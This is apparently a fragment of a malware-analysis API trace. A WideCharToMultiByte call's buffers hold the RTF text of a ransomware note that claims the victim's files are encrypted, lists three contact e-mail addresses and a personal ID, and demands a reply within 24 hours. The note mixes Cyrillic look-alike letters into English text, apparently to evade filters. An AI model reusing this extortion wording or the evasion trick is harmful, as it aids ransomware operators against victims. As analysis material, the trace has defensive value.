th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 